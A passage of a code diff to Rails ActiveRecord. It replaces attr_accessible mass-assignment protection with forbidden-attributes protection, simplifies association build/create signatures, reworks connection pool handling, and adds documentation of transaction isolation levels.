@@ -1095,7 +1100,10 @@ module ActiveRecord
# Specify the method that returns the primary key used for the association. By default this is +id+.
# [:dependent]
# Controls what happens to the associated objects when
- # their owner is destroyed:
+ # their owner is destroyed. Note that these are implemented as
+ # callbacks, and Rails executes callbacks in order. Therefore, other
+ # similar callbacks may affect the :dependent behavior, and the
+ # :dependent behavior may affect other callbacks.
#
# * <tt>:destroy</tt> causes all the associated objects to also be destroyed
# * <tt>:delete_all</tt> causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute)
@@ -1137,7 +1145,9 @@ module ActiveRecord
# [:autosave]
# If true, always save the associated objects or destroy them if marked for destruction,
# when saving the parent object. If false, never save or destroy the associated objects.
- # By default, only save associated objects that are new records.
+ # By default, only save associated objects that are new records. This option is implemented as a
+ # before_save callback. Because callbacks are run in the order they are defined, associated objects
+ # may need to be explicitly saved in any user-defined before_save callbacks.
#
# Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
# [:inverse_of]
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index 9f47e7e631..ba75c8be41 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -154,11 +154,8 @@ module ActiveRecord
# We can't dump @reflection since it contains the scope proc
def marshal_dump
- reflection = @reflection
- @reflection = nil
-
- ivars = instance_variables.map { |name| [name, instance_variable_get(name)] }
- [reflection.name, ivars]
+ ivars = (instance_variables - [:@reflection]).map { |name| [name, instance_variable_get(name)] }
+ [@reflection.name, ivars]
end
def marshal_load(data)
@@ -233,10 +230,10 @@ module ActiveRecord
def stale_state
end
- def build_record(attributes, options)
- reflection.build_association(attributes, options) do |record|
+ def build_record(attributes)
+ reflection.build_association(attributes) do |record|
attributes = create_scope.except(*(record.changed - [reflection.foreign_key]))
- record.assign_attributes(attributes, :without_protection => true)
+ record.assign_attributes(attributes)
end
end
end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index b15df4f308..fe3e5b00f7 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -95,22 +95,22 @@ module ActiveRecord
first_or_last(:last, *args)
end
- def build(attributes = {}, options = {}, &block)
+ def build(attributes = {}, &block)
if attributes.is_a?(Array)
- attributes.collect { |attr| build(attr, options, &block) }
+ attributes.collect { |attr| build(attr, &block) }
else
- add_to_target(build_record(attributes, options)) do |record|
+ add_to_target(build_record(attributes)) do |record|
yield(record) if block_given?
end
end
end
- def create(attributes = {}, options = {}, &block)
- create_record(attributes, options, &block)
+ def create(attributes = {}, &block)
+ create_record(attributes, &block)
end
- def create!(attributes = {}, options = {}, &block)
- create_record(attributes, options, true, &block)
+ def create!(attributes = {}, &block)
+ create_record(attributes, true, &block)
end
# Add +records+ to this association. Returns +self+ so method calls may
@@ -373,7 +373,7 @@ module ActiveRecord
# replace the SELECT clause with COUNT(SELECTS), preserving any hints within /* ... */
interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) do
count_with = $2.to_s
- count_with = '*' if count_with.blank? || count_with =~ /,/
+ count_with = '*' if count_with.blank? || count_with =~ /,/ || count_with =~ /\.\*/
"SELECT #{$1}COUNT(#{count_with}) FROM"
end
end
@@ -425,16 +425,16 @@ module ActiveRecord
persisted + memory
end
- def create_record(attributes, options, raise = false, &block)
+ def create_record(attributes, raise = false, &block)
unless owner.persisted?
raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
end
if attributes.is_a?(Array)
- attributes.collect { |attr| create_record(attr, options, raise, &block) }
+ attributes.collect { |attr| create_record(attr, raise, &block) }
else
transaction do
- add_to_target(build_record(attributes, options)) do |record|
+ add_to_target(build_record(attributes)) do |record|
yield(record) if block_given?
insert_record(record, true, raise)
end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index ee8b816ef4..c113957faa 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -18,14 +18,8 @@ module ActiveRecord
# <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
# the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
#
- # This class has most of the basic instance methods removed, and delegates
- # unknown methods to <tt>@target</tt> via <tt>method_missing</tt>. As a
- # corner case, it even removes the +class+ method and that's why you get
- #
- # blog.posts.class # => Array
- #
- # though the object behind <tt>blog.posts</tt> is not an Array, but an
- # ActiveRecord::Associations::HasManyAssociation.
+ # This class delegates unknown methods to <tt>@target</tt> via
+ # <tt>method_missing</tt>.
#
# The <tt>@target</tt> object is not \loaded until needed. For example,
#
@@ -228,8 +222,8 @@ module ActiveRecord
#
# person.pets.size # => 5 # size of the collection
# person.pets.count # => 0 # count from database
- def build(attributes = {}, options = {}, &block)
- @association.build(attributes, options, &block)
+ def build(attributes = {}, &block)
+ @association.build(attributes, &block)
end
##
@@ -259,8 +253,8 @@ module ActiveRecord
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
- def create(attributes = {}, options = {}, &block)
- @association.create(attributes, options, &block)
+ def create(attributes = {}, &block)
+ @association.create(attributes, &block)
end
##
@@ -271,14 +265,13 @@ module ActiveRecord
# end
#
# class Pet
- # attr_accessible :name
# validates :name, presence: true
# end
#
# person.pets.create!(name: nil)
# # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
- def create!(attributes = {}, options = {}, &block)
- @association.create!(attributes, options, &block)
+ def create!(attributes = {}, &block)
+ @association.create!(attributes, &block)
end
##
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index 88ff11f953..c7d8a84a7e 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -37,6 +37,20 @@ module ActiveRecord
super
end
+ def concat_records(records)
+ ensure_not_nested
+
+ records = super
+
+ if owner.new_record? && records
+ records.flatten.each do |record|
+ build_through_record(record)
+ end
+ end
+
+ records
+ end
+
def insert_record(record, validate = true, raise = false)
ensure_not_nested
@@ -82,10 +96,10 @@ module ActiveRecord
@through_records.delete(record.object_id)
end
- def build_record(attributes, options = {})
+ def build_record(attributes)
ensure_not_nested
- record = super(attributes, options)
+ record = super(attributes)
inverse = source_reflection.inverse_of
if inverse
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index dd7da59a86..06bead41de 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -30,11 +30,11 @@ module ActiveRecord
if (target || record) && target != record
reflection.klass.transaction do
remove_target!(options[:dependent]) if target && !target.destroyed?
-
+
if record
set_owner_attributes(record)
set_inverse_instance(record)
-
+
if owner.persisted? && save && !record.save
nullify_owner_attributes(record)
set_owner_attributes(target) if target
@@ -82,7 +82,7 @@ module ActiveRecord
if target.persisted? && owner.persisted? && !target.save
set_owner_attributes(target)
raise RecordNotSaved, "Failed to remove the existing associated #{reflection.name}. " +
- "The record failed to save when after its foreign key was set to nil."
+ "The record failed to save after its foreign key was set to nil."
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
index 2b1d888a9a..711f7b3ce1 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_part.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -54,7 +54,7 @@ module ActiveRecord
unless @column_names_with_alias
@column_names_with_alias = []
- ([primary_key] + (column_names - [primary_key])).each_with_index do |column_name, i|
+ ([primary_key] + (column_names - [primary_key])).compact.each_with_index do |column_name, i|
@column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
end
end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index b84cb4922d..32f4557c28 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -17,16 +17,16 @@ module ActiveRecord
replace(record)
end
- def create(attributes = {}, options = {}, &block)
- create_record(attributes, options, &block)
+ def create(attributes = {}, &block)
+ create_record(attributes, &block)
end
- def create!(attributes = {}, options = {}, &block)
- create_record(attributes, options, true, &block)
+ def create!(attributes = {}, &block)
+ create_record(attributes, true, &block)
end
- def build(attributes = {}, options = {})
- record = build_record(attributes, options)
+ def build(attributes = {})
+ record = build_record(attributes)
yield(record) if block_given?
set_new_record(record)
record
@@ -51,8 +51,8 @@ module ActiveRecord
replace(record)
end
- def create_record(attributes, options, raise_error = false)
- record = build_record(attributes, options)
+ def create_record(attributes, raise_error = false)
+ record = build_record(attributes)
yield(record) if block_given?
saved = record.save
set_new_record(record)
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
index d9989274c8..af13b75a9d 100644
--- a/activerecord/lib/active_record/attribute_assignment.rb
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -1,98 +1,24 @@
module ActiveRecord
- ActiveSupport.on_load(:active_record_config) do
- mattr_accessor :whitelist_attributes, instance_accessor: false
- mattr_accessor :mass_assignment_sanitizer, instance_accessor: false
- end
-
module AttributeAssignment
extend ActiveSupport::Concern
- include ActiveModel::MassAssignmentSecurity
-
- included do
- initialize_mass_assignment_sanitizer
- end
-
- module ClassMethods
- def inherited(child) # :nodoc:
- child.send :initialize_mass_assignment_sanitizer if self == Base
- super
- end
-
- private
-
- # The primary key and inheritance column can never be set by mass-assignment for security reasons.
- def attributes_protected_by_default
- default = [ primary_key, inheritance_column ]
- default << 'id' unless primary_key.eql? 'id'
- default
- end
+ include ActiveModel::DeprecatedMassAssignmentSecurity
+ include ActiveModel::ForbiddenAttributesProtection
- def initialize_mass_assignment_sanitizer
- attr_accessible(nil) if Model.whitelist_attributes
- self.mass_assignment_sanitizer = Model.mass_assignment_sanitizer if Model.mass_assignment_sanitizer
- end
- end
-
- # Allows you to set all the attributes at once by passing in a hash with keys
- # matching the attribute names (which again matches the column names).
- #
- # If any attributes are protected by either +attr_protected+ or
- # +attr_accessible+ then only settable attributes will be assigned.
+ # Allows you to set all the attributes by passing in a hash of attributes with
+ # keys matching the attribute names (which again matches the column names).
#
- # class User < ActiveRecord::Base
- # attr_protected :is_admin
- # end
- #
- # user = User.new
- # user.attributes = { :username => 'Phusion', :is_admin => true }
- # user.username # => "Phusion"
- # user.is_admin? # => false
- def attributes=(new_attributes)
- return unless new_attributes.is_a?(Hash)
-
- assign_attributes(new_attributes)
- end
-
- # Allows you to set all the attributes for a particular mass-assignment
- # security role by passing in a hash of attributes with keys matching
- # the attribute names (which again matches the column names) and the role
- # name using the :as option.
- #
- # To bypass mass-assignment security you can use the :without_protection => true
- # option.
- #
- # class User < ActiveRecord::Base
- # attr_accessible :name
- # attr_accessible :name, :is_admin, :as => :admin
- # end
- #
- # user = User.new
- # user.assign_attributes({ :name => 'Josh', :is_admin => true })
- # user.name # => "Josh"
- # user.is_admin? # => false
- #
- # user = User.new
- # user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
- # user.name # => "Josh"
- # user.is_admin? # => true
- #
- # user = User.new
- # user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
- # user.name # => "Josh"
- # user.is_admin? # => true
- def assign_attributes(new_attributes, options = {})
+ # If the passed hash responds to <tt>permitted?</tt> method and the return value
+ # of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
+ # exception is raised.
+ def assign_attributes(new_attributes)
return if new_attributes.blank?
attributes = new_attributes.stringify_keys
multi_parameter_attributes = []
nested_parameter_attributes = []
- previous_options = @mass_assignment_options
- @mass_assignment_options = options
- unless options[:without_protection]
- attributes = sanitize_for_mass_assignment(attributes, mass_assignment_role)
- end
+ attributes = sanitize_for_mass_assignment(attributes)
attributes.each do |k, v|
if k.include?("(")
@@ -106,19 +32,9 @@ module ActiveRecord
assign_nested_parameter_attributes(nested_parameter_attributes) unless nested_parameter_attributes.empty?
assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty?
- ensure
- @mass_assignment_options = previous_options
- end
-
- protected
-
- def mass_assignment_options
- @mass_assignment_options ||= {}
end
- def mass_assignment_role
- mass_assignment_options[:as] || :default
- end
+ alias attributes= assign_attributes
private
@@ -143,7 +59,7 @@ module ActiveRecord
# written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
# parentheses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum,
# f for Float, s for String, and a for Array. If all the values for a given attribute are empty, the
- # attribute will be set to nil.
+ # attribute will be set to +nil+.
def assign_multiparameter_attributes(pairs)
execute_callstack_for_multiparameter_attributes(
extract_callstack_for_multiparameter_attributes(pairs)
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
index 7b7811a706..aa6704d5c9 100644
--- a/activerecord/lib/active_record/attribute_methods/primary_key.rb
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -18,7 +18,7 @@ module ActiveRecord
# Sets the primary key value
def id=(value)
- write_attribute(self.class.primary_key, value)
+ write_attribute(self.class.primary_key, value) if self.class.primary_key
end
# Queries the primary key value
@@ -53,8 +53,7 @@ module ActiveRecord
end
# Defines the primary key field -- can be overridden in subclasses. Overwriting will negate any effect of the
- # primary_key_prefix_type setting, though. Since primary keys are usually protected from mass assignment,
- # remember to let your database generate them or include the key in +attr_accessible+.
+ # primary_key_prefix_type setting, though.
def primary_key
@primary_key = reset_primary_key unless defined? @primary_key
@primary_key
diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb
index a8b23abb7c..0f9723febb 100644
--- a/activerecord/lib/active_record/attribute_methods/query.rb
+++ b/activerecord/lib/active_record/attribute_methods/query.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
module AttributeMethods
module Query
@@ -9,7 +8,7 @@ module ActiveRecord
end
def query_attribute(attr_name)
- value = read_attribute(attr_name)
+ value = read_attribute(attr_name) { |n| missing_attribute(n, caller) }
case value
when true then true
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index a7af086e43..1a4cb25dd7 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -8,7 +8,6 @@ module ActiveRecord
extend ActiveSupport::Concern
ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
- ActiveRecord::Model.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
included do
config_attribute :attribute_types_cached_by_default
@@ -46,7 +45,7 @@ module ActiveRecord
def define_method_attribute(attr_name)
generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
def __temp__
- read_attribute('#{attr_name}') { |n| missing_attribute(n, caller) }
+ read_attribute(:'#{attr_name}') { |n| missing_attribute(n, caller) }
end
alias_method '#{attr_name}', :__temp__
undef_method :__temp__
@@ -64,14 +63,22 @@ module ActiveRecord
end
end
+ ActiveRecord::Model.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
+
# Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
# "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
def read_attribute(attr_name)
+ return unless attr_name
+ name_sym = attr_name.to_sym
+
# If it's cached, just return it
- @attributes_cache.fetch(attr_name.to_s) { |name|
+ # We use #[] first as a perf optimization for non-nil values. See https://gist.github.com/3552829.
+ @attributes_cache[name_sym] || @attributes_cache.fetch(name_sym) {
+ name = attr_name.to_s
+
column = @columns_hash.fetch(name) {
return @attributes.fetch(name) {
- if name == 'id' && self.class.primary_key != name
+ if name_sym == :id && self.class.primary_key != name
read_attribute(self.class.primary_key)
end
}
@@ -82,7 +89,7 @@ module ActiveRecord
}
if self.class.cache_attribute?(name)
- @attributes_cache[name] = column.type_cast(value)
+ @attributes_cache[name_sym] = column.type_cast(value)
else
column.type_cast value
end
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
index 33d7cc7f34..6395f92b4b 100644
--- a/activerecord/lib/active_record/attribute_methods/serialization.rb
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -6,7 +6,7 @@ module ActiveRecord
included do
# Returns a hash of all the attributes that have been specified for serialization as
# keys and their class restriction as values.
- class_attribute :serialized_attributes, instance_writer: false
+ class_attribute :serialized_attributes, instance_accessor: false
self.serialized_attributes = {}
end
@@ -41,6 +41,11 @@ module ActiveRecord
end
end
+ def serialized_attributes
+ ActiveSupport::Deprecation.warn("Instance level serialized_attributes method is deprecated, please use class level method.")
+ defined?(@serialized_attributes) ? @serialized_attributes : self.class.serialized_attributes
+ end
+
class Type # :nodoc:
def initialize(column)
@column = column
@@ -93,16 +98,6 @@ module ActiveRecord
attributes
end
-
- private
-
- def attribute_cast_code(attr_name)
- if serialized_attributes.include?(attr_name)
- "v.unserialized_value"
- else
- super
- end
- end
end
def type_cast_attribute_for_write(column, value)
@@ -114,7 +109,7 @@ module ActiveRecord
end
def read_attribute_before_type_cast(attr_name)
- if serialized_attributes.include?(attr_name)
+ if self.class.serialized_attributes.include?(attr_name)
super.unserialized_value
else
super
diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
index fa5b2ef336..b9a69cdb0a 100644
--- a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -34,21 +34,6 @@ module ActiveRecord
module ClassMethods
protected
- # The enhanced read method automatically converts the UTC time stored in the database to the time
- # zone stored in Time.zone.
- def attribute_cast_code(attr_name)
- column = columns_hash[attr_name]
-
- if create_time_zone_conversion_attribute?(attr_name, column)
- typecast = "v = #{super}"
- time_zone_conversion = "v.acts_like?(:time) ? v.in_time_zone : v"
-
- "((#{typecast}) && (#{time_zone_conversion}))"
- else
- super
- end
- end
-
# Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
# This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
def define_method_attribute=(attr_name)
@@ -59,11 +44,14 @@ module ActiveRecord
unless time.acts_like?(:time)
time = time.is_a?(String) ? Time.zone.parse(time) : time.to_time rescue time
end
- time = time.in_time_zone rescue nil if time
- changed = read_attribute(:#{attr_name}) != time
- write_attribute(:#{attr_name}, original_time)
- #{attr_name}_will_change! if changed
- @attributes_cache["#{attr_name}"] = time
+ zoned_time = time && time.in_time_zone rescue nil
+ rounded_time = round_usec(zoned_time)
+ rounded_value = round_usec(read_attribute("#{attr_name}"))
+ if (rounded_value != rounded_time) || (!rounded_value && original_time)
+ write_attribute("#{attr_name}", original_time)
+ #{attr_name}_will_change!
+ @attributes_cache[:"#{attr_name}"] = zoned_time
+ end
end
EOV
generated_attribute_methods.module_eval(method_body, __FILE__, line)
@@ -79,6 +67,12 @@ module ActiveRecord
[:datetime, :timestamp].include?(column.type)
end
end
+
+ private
+ def round_usec(value)
+ return unless value
+ value.change(:usec => 0)
+ end
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index 50435921b1..5a39cb0125 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -25,13 +25,13 @@ module ActiveRecord
def write_attribute(attr_name, value)
attr_name = attr_name.to_s
attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
- @attributes_cache.delete(attr_name)
+ @attributes_cache.delete(attr_name.to_sym)
column = column_for_attribute(attr_name)
# If we're dealing with a binary column, write the data to the cache
# so we don't attempt to typecast multiple times.
if column && column.binary?
- @attributes_cache[attr_name] = value
+ @attributes_cache[attr_name.to_sym] = value
end
if column || @attributes.has_key?(attr_name)
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index 290f57659d..a30f888a7a 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -394,6 +394,7 @@ module ActiveRecord
autosave = reflection.options[:autosave]
if autosave && record.marked_for_destruction?
+ self[reflection.foreign_key] = nil
record.destroy
elsif autosave != false
saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index 347d794fa3..42bd16db80 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -5,14 +5,11 @@ require 'active_support/core_ext/module/deprecation'
module ActiveRecord
# Raised when a connection could not be obtained within the connection
- # acquisition timeout period.
+ # acquisition timeout period: because max connections in pool
+ # are in use.
class ConnectionTimeoutError < ConnectionNotEstablished
end
- # Raised when a connection pool is full and another connection is requested
- class PoolFullError < ConnectionNotEstablished
- end
-
module ConnectionAdapters
# Connection pool base class for managing Active Record database
# connections.
@@ -187,7 +184,11 @@ module ActiveRecord
return remove if any?
elapsed = Time.now - t0
- raise ConnectionTimeoutError if elapsed >= timeout
+ if elapsed >= timeout
+ msg = 'could not obtain a database connection within %0.3f seconds (waited %0.3f seconds)' %
+ [timeout, elapsed]
+ raise ConnectionTimeoutError, msg
+ end
end
ensure
@num_waiting -= 1
@@ -350,12 +351,12 @@ module ActiveRecord
#
# If all connections are leased and the pool is at capacity (meaning the
# number of currently leased connections is greater than or equal to the
- # size limit set), an ActiveRecord::PoolFullError exception will be raised.
+ # size limit set), an ActiveRecord::ConnectionTimeoutError exception will be raised.
#
# Returns: an AbstractAdapter object.
#
# Raises:
- # - PoolFullError: no connection can be obtained from the pool.
+ # - ConnectionTimeoutError: no connection can be obtained from the pool.
def checkout
synchronize do
conn = acquire_connection
@@ -416,22 +417,14 @@ module ActiveRecord
# queue for a connection to become available.
#
# Raises:
- # - PoolFullError if a connection could not be acquired (FIXME:
- # why not ConnectionTimeoutError?
+ # - ConnectionTimeoutError if a connection could not be acquired
def acquire_connection
if conn = @available.poll
conn
elsif @connections.size < @size
checkout_new_connection
else
- t0 = Time.now
- begin
- @available.poll(@checkout_timeout)
- rescue ConnectionTimeoutError
- msg = 'could not obtain a database connection within %0.3f seconds (waited %0.3f seconds)' %
- [@checkout_timeout, Time.now - t0]
- raise PoolFullError, msg
- end
+ @available.poll(@checkout_timeout)
end
end
@@ -494,42 +487,42 @@ module ActiveRecord
#
# Normally there is only a single ConnectionHandler instance, accessible via
# ActiveRecord::Base.connection_handler. Active Record models use this to
- # determine that connection pool that they should use.
+ # determine the connection pool that they should use.
class ConnectionHandler
- def initialize(pools = Hash.new { |h,k| h[k] = {} })
- @connection_pools = pools
- @class_to_pool = Hash.new { |h,k| h[k] = {} }
+ def initialize
+ @owner_to_pool = Hash.new { |h,k| h[k] = {} }
+ @class_to_pool = Hash.new { |h,k| h[k] = {} }
end
def connection_pools
- @connection_pools[Process.pid]
+ owner_to_pool.values.compact
end
- def establish_connection(name, spec)
- set_pool_for_spec spec, ConnectionAdapters::ConnectionPool.new(spec)
- set_class_to_pool name, connection_pools[spec]
+ def establish_connection(owner, spec)
+ @class_to_pool.clear
+ owner_to_pool[owner] = ConnectionAdapters::ConnectionPool.new(spec)
end
# Returns true if there are any active connections among the connection
# pools that the ConnectionHandler is managing.
def active_connections?
- connection_pools.values.any? { |pool| pool.active_connection? }
+ connection_pools.any?(&:active_connection?)
end
# Returns any connections in use by the current thread back to the pool,
# and also returns connections to the pool cached by threads that are no
# longer alive.
def clear_active_connections!
- connection_pools.each_value {|pool| pool.release_connection }
+ connection_pools.each(&:release_connection)
end
# Clears the cache which maps classes.
def clear_reloadable_connections!
- connection_pools.each_value {|pool| pool.clear_reloadable_connections! }
+ connection_pools.each(&:clear_reloadable_connections!)
end
def clear_all_connections!
- connection_pools.each_value {|pool| pool.disconnect! }
+ connection_pools.each(&:disconnect!)
end
# Locate the connection of the nearest super class. This can be an
@@ -552,56 +545,62 @@ module ActiveRecord
# connection and the defined connection (if they exist). The result
# can be used as an argument for establish_connection, for easily
# re-establishing the connection.
- def remove_connection(klass)
- pool = class_to_pool.delete(klass.name)
- return nil unless pool
-
- connection_pools.delete pool.spec
- pool.automatic_reconnect = false
- pool.disconnect!
- pool.spec.config
+ def remove_connection(owner)
+ if pool = owner_to_pool.delete(owner)
+ @class_to_pool.clear
+ pool.automatic_reconnect = false
+ pool.disconnect!
+ pool.spec.config
+ end
end
+ # Retrieving the connection pool happens a lot so we cache it in @class_to_pool.
+ # This makes retrieving the connection pool O(1) once the process is warm.
+ # When a connection is established or removed, we invalidate the cache.
+ #
+ # Ideally we would use #fetch here, as class_to_pool[klass] may sometimes be nil.
+ # However, benchmarking (https://gist.github.com/3552829) showed that #fetch is
+ # significantly slower than #[]. So in the nil case, no caching will take place,
+ # but that's ok since the nil case is not the common one that we wish to optimise
+ # for.
def retrieve_connection_pool(klass)
- if !(klass < Model::Tag)
- get_pool_for_class('ActiveRecord::Model') # default connection
- else
- pool = get_pool_for_class(klass.name)
- pool || retrieve_connection_pool(klass.superclass)
+ class_to_pool[klass] ||= begin
+ until pool = pool_for(klass)
+ klass = klass.superclass
+ break unless klass < ActiveRecord::Tag
+ end
+
+ class_to_pool[klass] = pool || pool_for(ActiveRecord::Model)
end
end
private
- def class_to_pool
- @class_to_pool[Process.pid]
+ def owner_to_pool
+ @owner_to_pool[Process.pid]
end
- def set_pool_for_spec(spec, pool)
- @connection_pools[Process.pid][spec] = pool
- end
-
- def set_class_to_pool(name, pool)
- @class_to_pool[Process.pid][name] = pool
- pool
+ def class_to_pool
+ @class_to_pool[Process.pid]
end
- def get_pool_for_class(klass)
- @class_to_pool[Process.pid].fetch(klass) {
- c_to_p = @class_to_pool.values.find { |class_to_pool|
- class_to_pool[klass]
- }
-
- if c_to_p
- pool = c_to_p[klass]
- pool = ConnectionAdapters::ConnectionPool.new pool.spec
- set_pool_for_spec pool.spec, pool
- set_class_to_pool klass, pool
+ def pool_for(owner)
+ owner_to_pool.fetch(owner) {
+ if ancestor_pool = pool_from_any_process_for(owner)
+ # A connection was established in an ancestor process that must have
+ # subsequently forked. We can't reuse the connection, but we can copy
+ # the specification and establish a new connection with it.
+ establish_connection owner, ancestor_pool.spec
else
- set_class_to_pool klass, nil
+ owner_to_pool[owner] = nil
end
}
end
+
+ def pool_from_any_process_for(owner)
+ owner_to_pool = @owner_to_pool.values.find { |v| v[owner] }
+ owner_to_pool && owner_to_pool[owner]
+ end
end
class ConnectionManagement
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index b0b51f540c..793f58d4d3 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -1,6 +1,11 @@
module ActiveRecord
module ConnectionAdapters # :nodoc:
module DatabaseStatements
+ def initialize
+ super
+ reset_transaction
+ end
+
# Converts an arel AST to SQL
def to_sql(arel, binds = [])
if arel.respond_to?(:ast)
@@ -102,20 +107,6 @@ module ActiveRecord
exec_delete(to_sql(arel, binds), name, binds)
end
- # Checks whether there is currently no transaction active. This is done
- # by querying the database driver, and does not use the transaction
- # house-keeping information recorded by #increment_open_transactions and
- # friends.
- #
- # Returns true if there is no transaction active, false if there is a
- # transaction active, and nil if this information is unknown.
- #
- # Not all adapters supports transaction state introspection. Currently,
- # only the PostgreSQL adapter supports this.
- def outside_transaction?
- nil
- end
-
# Returns +true+ when the connection adapter supports prepared statement
# caching, otherwise returns +false+
def supports_statement_cache?
@@ -164,90 +155,119 @@ module ActiveRecord
# # active_record_1 now automatically released
# end # RELEASE SAVEPOINT active_record_1 <--- BOOM! database error!
# end
+ #
+ # == Transaction isolation
+ #
+ # If your database supports setting the isolation level for a transaction, you can set
+ # it like so:
+ #
+ # Post.transaction(isolation: :serializable) do
+ # # ...
+ # end
+ #
+ # Valid isolation levels are:
+ #
+ # * <tt>:read_uncommitted</tt>
+ # * <tt>:read_committed</tt>
+ # * <tt>:repeatable_read</tt>
+ # * <tt>:serializable</tt>
+ #
+ # You should consult the documentation for your database to understand the
+ # semantics of these different levels:
+ #
+ # * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
+ # * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
+ #
+ # An <tt>ActiveRecord::TransactionIsolationError</tt> will be raised if:
+ #
+ # * The adapter does not support setting the isolation level
+ # * You are joining an existing open transaction
+ # * You are creating a nested (savepoint) transaction
+ #
+ # The mysql, mysql2 and postgresql adapters support setting the transaction
+ # isolation level. However, support is disabled for mysql versions below 5,
+ # because they are affected by a bug[http://bugs.mysql.com/bug.php?id=39170]
+ # which means the isolation level gets persisted outside the transaction.
def transaction(options = {})
- options.assert_valid_keys :requires_new, :joinable
+ options.assert_valid_keys :requires_new, :joinable, :isolation
+
+ if !options[:requires_new] && current_transaction.joinable?
+ if options[:isolation]
